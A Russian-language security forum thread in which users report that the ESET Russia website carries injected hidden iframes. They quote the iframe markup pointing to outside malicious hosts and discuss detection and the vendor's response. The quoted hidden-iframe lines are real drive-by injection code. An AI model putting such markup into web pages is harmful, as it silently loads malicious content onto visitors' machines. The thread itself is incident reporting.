Сайт Eset Russia заражен? - Общий форум по информационной безопасности - Форумы Anti-Malware.ru Перейти к содержанию
Umnik

Сайт Eset Russia заражен?

Автор Umnik, в Общий форум по информационной безопасности

Recommended Posts

Umnik    997

Umnik
Опубликовано

На http://esetnod32.ru/ висит скрытый фрейм:

</body><iframe pcvsn='j6Av392D' src='хttp://newiframe.com/s/in.cgi?6' xvnil='BwpbaJm1' width='0' height='0' style='display:none'></iframe></html>

Говорят, минимум второй день висит.

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

ALEX(XX)    60

ALEX(XX)
Опубликовано
http://esetnod32.ru/esetforum/viewtopic.ph...330754c8#p12506

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

EzzO    15

EzzO
Опубликовано

ой ой ой, сайт антивирусной компании заражен, как-то правильно. Куда смотрят смотрящие?

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Skorpion    55

Skorpion
Опубликовано

iFrame я больше не вижу на странице.

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Cooller    20

Cooller
Опубликовано

Уже значит убрали.

Сейчас они типа расследование будут проводить.

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Lias    5

Lias
Опубликовано

ага

По данному инциденту в настоящее время проводится проверка.

вот интересно - а взламывали ли сайты других вендоров??

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Cooller    20

Cooller
Опубликовано
вот интересно - а взламывали ли сайты других вендоров??

Конечно, вот например сайт антивируса Панды и не один раз.

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Lias    5

Lias
Опубликовано

Конечно, вот например сайт антивируса Панды и не один раз.
и там тоже подсаживали трояна?

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Евгений Павлович    90

Евгений Павлович
Опубликовано

Жесть ваще....Заговор внутри компании? ))

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

priv8v    960

priv8v
Опубликовано
Жесть ваще....Заговор внутри компании? ))

м.б типичное разгильдяйство?..

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Евгений Павлович    90

Евгений Павлович
Опубликовано
м.б типичное разгильдяйство?..

Это, скорее всего, уже как следствие! )

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

vaber    350

vaber
Опубликовано

Снова сайт инфицирован...

Походу там есетовцам глубоко положить на то, что пользователи рискуют быть зараженными.

<iframe gmwhl='4uLDSwqX' src='http://mobi-sripts.com/s/in.cgi?6 ' mytog='xordoTPZ' width='0' height='0' style='display:none'></iframe>

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

A.    876

A.
Опубликовано
Снова сайт инфицирован...

Походу там есетовцам глубоко положить на то, что пользователи рискуют быть зараженными.

<iframe gmwhl='4uLDSwqX' src='http://mobi-sripts.com/s/in.cgi?6 ' mytog='xordoTPZ' width='0' height='0' style='display:none'></iframe>

Ну должен же их "давно и в муках искавшийся" российский вирусный аналитик, широко известный в узких кругах "летун отовсюду", г-н Матросов, с чего-то начинать на новом месте ? :)

  • Upvote 5

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Skorpion    55

Skorpion
Опубликовано
Снова сайт инфицирован...

Походу там есетовцам глубоко положить на то, что пользователи рискуют быть зараженными.

<iframe gmwhl='4uLDSwqX' src='http://mobi-sripts.com/s/in.cgi?6 ' mytog='xordoTPZ' width='0' height='0' style='display:none'></iframe>

Антивирусы реагируют?

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Евгений Павлович    90

Евгений Павлович
Опубликовано

У меня при переходе по ссылке ТЕХНИЧЕСКИЙ ФОРУМ переходит на viruslab.ru - Антивирус Панды...Может они и взломали?! ))))

Ваще жесть....дааааааа

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Zilla    340

Zilla
Опубликовано

Форум anti-malware.ru атакован спамерами?

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Евгений Павлович    90

Евгений Павлович
Опубликовано
Форум anti-malware.ru атакован спамерами?

Это почему?

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Zilla    340

Zilla
Опубликовано

Ну по моим личным наблюдениям сложилось такое мнение :)

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Евгений Павлович    90

Евгений Павлович
Опубликовано

А сайт до сих пор инфицирован...уже и письмо им написал, и позвонил....Без толку!

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Danilka    678

Danilka
Опубликовано
Антивирусы реагируют?

KIS 2010 да.

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Евгений Павлович    90

Евгений Павлович
Опубликовано

А НОД не реагирует! ((

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Fox    20

Fox
Опубликовано

Ох нифига. Я зашел и все скрипты разрешил. Что теперь будет? (антивирус не отреагировал)

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты

Евгений Павлович    90

Евгений Павлович
Опубликовано
Ох нифига. Я зашел и все скрипты разрешил. Что теперь будет? (антивирус не отреагировал)

Остаётся только задуматься!

Поделиться сообщением

Ссылка на сообщение
Поделиться на другие сайты
Перейти к списку тем Общий форум по информационной безопасности

  • Сообщения

    • demkd
      Новые функции в Universal Virus Sniffer (uVS)

      От demkd · Опубликовано

      эти функции небезопасные, лучше их оставить в ручном режиме.
    • demkd
      uVS - Тестирование

      От demkd · Опубликовано

      ---------------------------------------------------------
       5.0.1
      ---------------------------------------------------------
       o Исправлена ошибка из-за которой могло неправильно отображаться имя родителя процесса в информации о файле.

       o В список для проверки добавлен ключ реестра используемый зловредами для неявного запуска программ с обходом UAC с помощью системных утилит.
         (для текущей версии Win11 24H2 проблема актуальна)
         В случае обнаружении исполняемого файла он будет добавлен в подозрительные.
         Автоматический сброс статуса этого файла по хэшу/эцп будет заблокирован.
         FRST пока эту дыру в безопасности не видит.

       o В список теперь может быть добавлено подозрительное значение ключа реестра.
         Это значение после его проверки можно удалить из реестра через контекстное меню с помощью пункта "Удаление всех ссылок на объект".
         (!) Если значение это пустая строка то такие значения рекомендуются всегда удалять.

       o Обновлен модуль rest до v1.21.
       
    • santy
      Новые функции в Universal Virus Sniffer (uVS)

      От santy · Опубликовано

      Может, стоит включить команды заморозки потоков и выгрузки процессов с измененным кодом при формировании скрипта в режиме "Автоскрипт"? Если были обнаружены процессы с измененным кодом.
    • Ego Dekker
      Актуальные версии антивируса 18-го поколения

      От Ego Dekker · Опубликовано

      Домашние антивирусы для Windows были обновлены до версии 18.2.17.
    • PR55.RP55
      Новые функции в Universal Virus Sniffer (uVS)

      От PR55.RP55 · Опубликовано

      Так как, по сути нет возможности проверить расширения браузеров Chrom\ium при работе с образом - то, что-то нужно с этим делать. Отправлять все расширения на V.T. - в момент генерации образа, или упаковывать их в отдельный архив к\с образом автозапуска, или загружать... в облако. Возможно добавить пункт в меню: "Создать полный образ автозапуска с проверкой расширений браузеров".      
×